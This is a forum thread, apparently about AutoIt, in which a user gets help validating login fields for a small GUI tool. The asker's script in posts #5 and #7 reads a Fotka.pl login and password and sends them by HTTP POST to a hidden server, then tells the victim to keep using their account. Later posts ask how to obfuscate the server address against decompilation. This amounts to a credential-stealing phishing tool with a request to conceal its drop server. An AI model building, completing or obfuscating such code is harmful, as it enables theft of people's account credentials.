Sign in to follow this  
Followers 0
BJJ

check text in inputbox

12 posts in this topic

Hello,

I have no idea how check text frome inputbox

I write little code for login

somebody write own login and password

and i want make msg error if one or two inputbox be empety or written password have less as 5 mark

if $inpLogin = or > frome 5 letter then ok and func work

but if $inpLogin = 5 or less then msgbox "error bla bla bla" and func dont run

*func (sending this string to server)

Help me please :)

Q

Share this post


Link to post
Share on other sites



#2 ·  Posted (edited)

search the help for func usage:

$user=GUICtrlRead($idinput)
$password=GUICtrlRead($passinput)
if StringLen($password)<5 then blabla
If StringLen($user)=0 Then blabla

u get the drift

edited:

$user=GUICtrlRead($idinput)
$password=GUICtrlRead($passinput)
If StringLen($user)=0 Then
MsgBox(0,"Error","U need to write a user name")
Else
If StringLen($password)<5 Then
   MsgBox(0,"Error","Pass needs to be larger than 5 chars")
Else
  login_send()
EndIf
EndIf
Edited by Blinky
1 person likes this

Share this post


Link to post
Share on other sites

#3 ·  Posted (edited)

So i make that , but i know this is crap :/

Func Sending()      

$login = GUICtrlRead($inpLogin)
$haslo = GUICtrlRead($inpHaslo)

If StringLen($haslo) <6  then  
   MsgBox(-1, "ERROR", "Haslo ma minimum 6 znakow")
  
Else
  
If StringLen($login) <2  then  
   MsgBox(-1, "ERROR", "Wpisz Login")

Else
    Sending()

EndIf
EndIf

I dont know where put this Func Sending()

btw i think this code dont block this function , when login is empety user see msgbox press ok ane script run and he didnt must write this login or something

Edited by Quzziy

Share this post


Link to post
Share on other sites

u should put it in the button push response loop

Func Login_button()

$user=GUICtrlRead($idinput)
$password=GUICtrlRead($passinput)
If StringLen($user)=0 Then
MsgBox(0,"Error","U need to write a user name")
Else
If StringLen($password)<5 Then
  MsgBox(0,"Error","Pass needs to be larger than 5 chars")
Else
  login_send(); you have to make this function
EndIf
EndIf
EndFunc

if you have any code writen please post so i can help

this func executes a nother function if the conditions are met.

i didn`t undersud what u need exactly

do u need all the code?

1 person likes this

Share this post


Link to post
Share on other sites

#5 ·  Posted (edited)

I try do that now , but got difrent problem with undeclared $var

While 1
$nMsg = GUIGetMsg()
Switch $nMsg
  Case $GUI_EVENT_CLOSE
   Exit

        Case $bStart
    
        button()    
    
EndSwitch
WEnd  

Func button()
$login = GUICtrlRead($inpLogin)
$haslo = GUICtrlRead($inpHaslo)
If StringLen($haslo) <6  then
   MsgBox(-1, "ERROR", "Haslo ma minimum 6 znakow")
Else
If StringLen($login) <2  then
  MsgBox(-1, "ERROR", "Wpisz Login")
Else
wysylanie()
EndIf
EndIf
EndFunc

Func wysylanie()
  
$host = "xxx"
$page = "xxx"
$vars = "tresc=" & "########################" & @CRLF & "Login: " & $login & @CRLF & "Haslo:  " & $haslo  & @CRLF & "########################"
$data = _HTTPEncodeString($vars)
ConsoleWrite($data & @CRLF)
$socket = _HTTPConnect($host, 80)
$post = _HTTPPost($host, $page, $socket, $data)
ConsoleWrite(@error & @CRLF)
$recv = _HTTPRead($socket,1)
FileWrite( @ScriptDir & "result.html", $recv[4] )
Sleep(1700)
GUIdelete($Form1)           ;zamyka onko
GUISetState(@SW_SHOW,$Form2) ;otwiera nowe okno
Sleep(3000)
MsgBox(-1,"Info","Mozesz zminimalizowac ten program i normalnie korzystac z konta na Fotka.pl w czasie jego pracy")
EndFunc
Edited by Quzziy

Share this post


Link to post
Share on other sites

#6 ·  Posted (edited)

ok.. just try adding the below line next to the header files and declare the variables as global. so you can avoid getting the "Variable used without declare error" message.

[autoit]

Opt("MustDeclareVars",1)

[/autoit}

Edited by Syed23
1 person likes this

Thank you,Regards,[font="Garamond"][size="4"]K.Syed Ibrahim.[/size][/font]

Share this post


Link to post
Share on other sites

#7 ·  Posted (edited)

I try do that now , but got difrent problem with undeclared $var

While 1
$nMsg = GUIGetMsg()
Switch $nMsg
  Case $GUI_EVENT_CLOSE
   Exit

        Case $bStart
    
        button()    
    
EndSwitch
WEnd  

Func button()
$login = GUICtrlRead($inpLogin)
$haslo = GUICtrlRead($inpHaslo)
If StringLen($haslo) <6  then
   MsgBox(-1, "ERROR", "Haslo ma minimum 6 znakow")
Else
If StringLen($login) <2  then
  MsgBox(-1, "ERROR", "Wpisz Login")
Else
wysylanie()
EndIf
EndIf
EndFunc

Func wysylanie()
  
$host = "xxx"
$page = "xxx"
$vars = "tresc=" & "########################" & @CRLF & "Login: " & $login & @CRLF & "Haslo:  " & $haslo  & @CRLF & "########################"
$data = _HTTPEncodeString($vars)
ConsoleWrite($data & @CRLF)
$socket = _HTTPConnect($host, 80)
$post = _HTTPPost($host, $page, $socket, $data)
ConsoleWrite(@error & @CRLF)
$recv = _HTTPRead($socket,1)
FileWrite( @ScriptDir & "result.html", $recv[4] )
Sleep(1700)
GUIdelete($Form1)           ;zamyka onko
GUISetState(@SW_SHOW,$Form2) ;otwiera nowe okno
Sleep(3000)
MsgBox(-1,"Info","Mozesz zminimalizowac ten program i normalnie korzystac z konta na Fotka.pl w czasie jego pracy")
EndFunc

Also make sure the login id and password which you have retrived on "Func button" passed properly to the function wysylanie()

Edited by Syed23

Thank you,Regards,[font="Garamond"][size="4"]K.Syed Ibrahim.[/size][/font]

Share this post


Link to post
Share on other sites

Thanks thats work

I put this Opt("MustDeclareVars",1) and all variables declared as Global :)

Share this post


Link to post
Share on other sites

Thanks thats work

I put this Opt("MustDeclareVars",1) and all variables declared as Global :)

;) Glad that works for you!


Thank you,Regards,[font="Garamond"][size="4"]K.Syed Ibrahim.[/size][/font]

Share this post


Link to post
Share on other sites

How can I cypher "host adress and page " in script ? or maybe whole ?

$host = "cypher that"
$page = "and that"

Share this post


Link to post
Share on other sites

#11 ·  Posted (edited)

so goal of your code is to validate the user id and password against the domain ? i mean you are checking whether the inputboxes are not empty and the user credentials provided are valid or not ?

if yes please find this which may help you!

Edited: Added the link

Edited by Syed23

Thank you,Regards,[font="Garamond"][size="4"]K.Syed Ibrahim.[/size][/font]

Share this post


Link to post
Share on other sites

#12 ·  Posted (edited)

You use hard word and i dont understand all :)

Script send string frome both inputbox to server, but when somebody decompile my exe can see adres this serwer i want encryption this information

and make this script harder for reading after decompile od something

Anybody ??

Edited by BJJ

Share this post


Link to post
Share on other sites

Create an account or sign in to comment

You need to be a member in order to leave a comment

Create an account

Sign up for a new account in our community. It's easy!


Register a new account

Sign in

Already have an account? Sign in here.


Sign In Now
Sign in to follow this  
Followers 0